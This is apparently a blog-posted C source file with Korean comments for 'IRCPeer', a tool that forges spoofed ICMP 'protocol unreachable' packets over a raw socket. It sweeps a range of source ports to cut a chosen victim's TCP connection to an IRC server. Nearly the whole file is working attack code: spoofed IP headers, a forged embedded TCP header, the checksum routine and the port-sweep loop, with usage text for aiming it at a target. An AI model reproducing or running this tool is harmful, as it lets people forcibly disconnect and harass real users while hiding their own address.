/*
* File Name: IRCPeer.c
*
* File Description:
*  IRC((Internet Relay Chat) 서버에 연결되어 있는 client 로 변조된 ICMP packet 을 보내어
*  해당 client 의 연결을 끊게 한다.
*
*                                                    
*/
/*
* A fundamental principle:
*
*  ICMP 는 Internet Control Message Protocol 의 준말이며,
* 네트워크 통신중의 에러, 혹은 다른 상태에 관한 정보를 알려주기 위한
* 프로토콜 이다.
*
*  ICMP 는 IP layer 이며, 이로 인해 ICMP 정보는 IP packet 안에 삽입되어 진다.
* 이를 인캡슐레이션(encapsulation) 이라 한다.
* 이러한 ICMP Message 에는 에러의 타입을 알리는 type field 와
* 좀 더 자세한 에러를 알리기 위한 code field 가 존재한다.
* Stevens 의 TCP-IP Illustrated Vol-1 의 p71 에는 해당 type 과
* code 에 대한 목록이 있다.
* 그 목록을 보면 type 3 은 'destination unreachable' 이라고 하여,
* 목적지에 도달할수 없다는 의미의 에러와, 그에 상응하는
* code field 들이 나열되어 있다.
*
*  code field 를 보면 'protocol unreachable' 의 코드가 2 로 정해져 있다.
* 이 부분을 사용하는것이 본 코드의 core 부분이라 말할 수 있다.
* 좀 더 자세하게 이야기 하면, 해당 ICMP message 를 client 에게
* 전달하여 어플리케이션으로 하여금 에러를 발생시키는것이다.
*
*  raw socket 으로 만들어 내는 패킷은 p78 하단에 나와있는
* figure 6.9 와 비슷한데, 책에서는 udp 를 사용하는 tftp 의
* 'UDP port unreachable' 의 ICMP packet 을 예제로 설명한것이고,
* 본 코드는 'TCP protocol unreachable' 을 구현한것이다.
* 즉, IRC 는 UDP 가 아닌 TCP 이므로 마지막의 UDP header 부분의
* 8 바이트를 TCP header 8 바이트로 변환하고, error type 과 code 를 변경하였다.
* 본 코드에서 만들어 내는 packet 구조는 다음과 같다.
*
*            |◀━━━━━━━━━ IP datagram ━━━━━━━━━━▶|
*                           |◀━━━━━━ ICMP message ━━━━━▶|
*                                 |◀ data portion of ICMP message ▶|
* /━━━━━+━━━━━━━+━━━+━━━━━━━━━━━━+━━━━/
* |          |              |      |                        |        |
* | Ethernet |      IP      | ICMP | IP header of datagram  |   TCP  |
* |          |              |      | that generated error   | header |
* /━━━━━+━━━━━━━+━━━+━━━━━━━━━━━━+━━━━/
*     14            20         8              20                 8
*    bytes         bytes     bytes           bytes             bytes
*
*  본 코드에서는 IP 부분부터 구현하였는데 PKTSIZE 가 define 된 부분부터 보면,
*
* [ struct ip ] + [ struct icmp ] + [ 8 bytes of struct tcphdr ]
*
* 이러한 형식으로 구성되었다.
* 중간의 IP header 20바이트 부분은 icmp 구조체 안의 icmp_data 멤버의
* 20바이트에 할당하여 사용한다.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>

#define S_PORT      1000        // 공격 시작 포트
#define E_PORT      6000        // 공격 끝 포트
#define PKTSIZE     (sizeof(struct ip) + sizeof(struct icmp) + 8)
#define SPOOF       "192.168.0.1"   // 기본 스푸핑 아이피

/* define structure */
struct info {
    char t_addr[16];
    int  t_port;
    char irc_addr[16];
    int  irc_port;
    char spoof_addr[16];
};

/* user-defined function prototype */
void            usage(char *);
int             Attack(struct info *);
unsigned short  in_cksum(unsigned short *, int);

int main(int argc, char **argv)
{
    int             opt,
                    irc_port = 6667;    // 기본 IRC 접속 포트
    int             i;
    struct hostent  *he;
    struct info     *info;              // 공격 정보를 담을 구조체
    unsigned int    serv_addr;          // IRC server address 를 저장할 변수
    char            *t_addr = NULL,     // 공격 타겟 IP address
                    *irc_serv = NULL,   // IRC Server domain
                    irc_addr[16],       // IRC Server IP address
                    *spoof_addr = SPOOF;    // Spoofing 하게 될 IP address

    while((opt = getopt(argc, argv, "t:i:p:s:")) != -1) {
        switch(opt) {
            case 't':
                t_addr = optarg;
                break;
            case 'i':
                irc_serv = optarg;
                break;
            case 'p':
                irc_port = atoi(optarg);
                break;
            case 's':
                spoof_addr = optarg;
                break;
            default:
                usage(argv[0]);
        }
    }

    if(t_addr == NULL || irc_serv == NULL) {
        usage(argv[0]);
    }

    if((he = gethostbyname(irc_serv)) == NULL) {
        herror("gethostbyname");
        exit(-1);
    }
    
    memcpy(&serv_addr, he->h_addr, 4);
    memset(irc_addr, 0, sizeof(irc_addr));
    sprintf(irc_addr, "%s", (char*)inet_ntoa(serv_addr));

    printf(
            "IRCPeer - A tool for IRC ICMP flood.\n\n"
            "[+] Target IP Address: %s\n"
            "[+] Server: %s (%s)\n"
            "[+] Server Port: %d\n"
            "[+] Spoof IP: %s\n",
            t_addr, irc_serv, irc_addr, irc_port, spoof_addr);
    
    info = (struct info *)malloc(sizeof(struct info));
    if(info == NULL) {
        printf("Out of memory.\n");
        exit(-1);
    }
    
    strncpy(info->t_addr, t_addr, sizeof(info->t_addr));
    info->t_port = 0;
    strncpy(info->irc_addr, irc_addr, sizeof(info->irc_addr));
    info->irc_port = irc_port;
    strncpy(info->spoof_addr, spoof_addr, sizeof(info->spoof_addr));
        
    for(i = S_PORT; i < E_PORT; i++) {
        if(i%30 == 0) usleep(200000);   // delay 0.2 seconds
        info->t_port = i;
        Attack(info);
        printf("[-] Sending Packets..... %d\n", i);
        printf("\033[J\033[A");
    }
    printf("[+] Sending Packets..... %d\n", i);
    printf("[+] Complete.\n");
    
    free(info);
}

/*
* Function Name: usage
*
* Function Description:
*  공격에 사용될 기본 정보가 입력되지 않았을때 실행되며,
*  본 프로그램에 대한 사용법을 출력한다.
*/
void usage(char *prog)
{
    int     i = 0;
    
    printf(
            "IRCPeer - A tool for IRC ICMP flood.\n\n"
            "Usage: %s -t <TARGET> -i <IRC SERVER> "
            "[-p <IRC PORT> -s <SPOOF IP>]\n\n"
            "  -t <TARGET> \t\tTarget IP Address.\n"
            "  -i <IRC SERVER> \tIRC Server.\n"
            "  -p <IRC PORT> \tIRC Port.\n"
            "  -s <SPOOF IP> \tSpoofing Mode.\n\n", prog);
    
    printf(
            "<IRC PORT>:\n"
            "\tDefault = 6667\n"
            "<SPOOF IP>:\n"
            "\tDefault = 192.168.0.1\n"
    );

    exit(0);
}

/*
* Function Name: Attack
*
* Function Description:
*  실제적인 공격에 관한 사용자 정의 함수이다.
*  함수의 매개변수로는 Client IP/Port, Server IP/Port.
*  Spoofing IP 이렇게 다섯가지 정보가 저장되어 있는
*  구조체의 포인터가 사용된다.
*/
int Attack(struct info *info)
{
    int                 on = 1,
                        sock;
    char                pkt[PKTSIZE];
    struct icmp         *icmp;
    struct ip           *ip;
    struct iphdr        *iphdr;
    struct tcphdr       *tcphdr;
    struct sockaddr_in  addr;

    memset(pkt, 0, PKTSIZE);

    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("socket");
        exit(-1);
    }

    if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&on, sizeof(on)) < 0) {
        perror("setsockopt");
        exit(-1);
    }

    /* IP Configuration */
    ip = (struct ip *)pkt;

    ip->ip_hl = 5;
    ip->ip_v = IPVERSION;
    ip->ip_len = htons(sizeof(struct ip) + sizeof(struct icmp));
    ip->ip_id =htons(getpid());
    ip->ip_ttl = 242;
    ip->ip_p = IPPROTO_ICMP;
    ip->ip_src.s_addr = inet_addr(info->spoof_addr);
    ip->ip_dst.s_addr = inet_addr(info->t_addr);
    ip->ip_sum = htons((unsigned short)in_cksum((unsigned short *)ip, \
                    sizeof(struct ip)));

    /* ICMP Configuration */
    icmp = (struct icmp *)(pkt + sizeof(struct ip));

    icmp->icmp_type = ICMP_DEST_UNREACH;
    icmp->icmp_code = ICMP_PROT_UNREACH;

    /* IP header Configuration */
    iphdr = (struct iphdr *)icmp->icmp_data;

    iphdr->ihl = 5;
    iphdr->version = 4;
    iphdr->tot_len = 4;
    iphdr->id = getpid();
    iphdr->ttl = 131;
    iphdr->protocol = IPPROTO_TCP;
    iphdr->saddr = ip->ip_dst.s_addr;
    iphdr->daddr = inet_addr(info->irc_addr);

    /* Uppon Layer Protocol 8bytes */
    tcphdr = (struct tcphdr *)(pkt + sizeof(struct ip) + sizeof(struct icmp));

    tcphdr->source = htons(info->t_port);
    tcphdr->dest = htons(info->irc_port);
    tcphdr->seq = rand()%time(NULL);

    /* ICMP checksum */
    icmp->icmp_cksum = in_cksum((unsigned short *)icmp, +
                            sizeof(struct icmp) + 8);

    memset((char*)&addr, 0, sizeof(addr));

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(info->t_addr);

    sendto(sock, (char*)pkt, sizeof(pkt), 0, (struct sockaddr *)&addr, \
        sizeof(addr));
    close(sock);
}

/*
* Function Name: in_cksum
*
* Function Description:
*  체크섬 함수이며, Stevens - Unix Network Programming Vol-1 p672 에
*  나와있는 코드를 그대로 가져다 사용하였다.
*/
unsigned short in_cksum(unsigned short *addr,int len)
{
    register int sum = 0;
    u_short answer = 0;
    register u_short *w = addr;
    register int nleft = len;

    /*
    * Our algorithm is simple, using a 32 bit accumulator (sum), we add
    * sequential 16 bit words to it, and at the end, fold back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
    sum += (sum >> 16);                     /* add carry */
    answer = ~sum;                          /* truncate to 16 bits */
    return(answer);
}
/*
* 사족:
* 언젠가부터.. IRC peer 프로그램을 보면서..
* 한번 만들어보고 싶다 라고 생각했었는데.. 시간도 능력도 안되서..
* 실행에 옮기지 못했다가.. 요즘 노는시간이 많아 공부도 할 겸 만들어 보았다.
* peer 프로그램의 packet 을 스니퍼로 캡춰하여 분석해서 만든건데,
* 그 packet 을 보내준 ChrisNova 에게 감사한다..
* (그 packet 을 백배로 돌려서 보내줄까..--a 하하하..)
*/


작성자 :  indra (indra@linux.co.kr)

저작자 표시 비영리
Posted by 티엘로